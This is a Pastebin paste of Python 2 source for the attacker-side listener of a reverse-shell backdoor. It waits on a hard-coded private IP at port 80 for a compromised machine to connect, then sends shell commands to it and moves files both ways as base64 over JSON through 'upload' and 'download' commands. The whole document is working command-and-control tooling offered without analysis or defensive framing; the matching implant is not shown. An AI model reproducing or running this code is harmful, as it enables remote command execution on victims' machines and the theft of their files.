Guest User

Untitled

a guest
Oct 5th, 2023
95
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 2.04 KB | Source Code | 0 0
  1. #!/usr/bin/env python
  2.  
  3. import socket, json, base64
  4.  
  5. class Listener:
  6.     def __init__(self, ip, port):
  7.         listener = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  8.         listener.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
  9.         listener.bind((ip, port))
  10.         listener.listen(0)
  11.         print("[+] Waiting for incoming connections.")
  12.         self.connection, adress = listener.accept()
  13.         print("[+] Got a connection." + str(adress))
  14.  
  15.     def reliable_send(self, data):
  16.         json_data = json.dumps(data)
  17.         self.connection.send(json_data)
  18.  
  19.     def reliable_receive(self):
  20.         json_data = ""
  21.         while True:
  22.             try:
  23.                 json_data = json_data + self.connection.recv(1024)
  24.                 return json.loads(json_data)
  25.             except ValueError:
  26.                 continue
  27.     def write_file(self, path, content):
  28.         with open(path, "wb") as file:
  29.             file.write(base64.b64decode(content))
  30.             return "[+] Download successful."
  31.  
  32.     def read_file(self, path):
  33.         with open(path, "rb") as file:
  34.             return base64.b64encode(file.read())
  35.  
  36.     def execute_remotely(self, command):
  37.         self.reliable_send(command)
  38.         if command[0] == "exit":
  39.             self.connection.close()
  40.             exit()
  41.         return self.reliable_receive()
  42.  
  43.     def run(self):
  44.         while True:
  45.             command = raw_input(">> ")
  46.             command = command.split(" ")
  47.  
  48.             try:
  49.                 if command[0] == "upload":
  50.                     file_content = self.read_file(command[1])
  51.                     command.append(file_content)
  52.  
  53.                 result = self.execute_remotely(command)
  54.  
  55.                 if command[0] == "download" and "[-] Error " not in result:
  56.                     result = self.write_file(command[1], result)
  57.             except Exception:
  58.                 result = "[-] Error during command execution."
  59.  
  60.             print(result)
  61.  
  62. my_listener = Listener("192.168.110.128", 80)
  63. my_listener.run()
Add Comment
Please, Sign In to add comment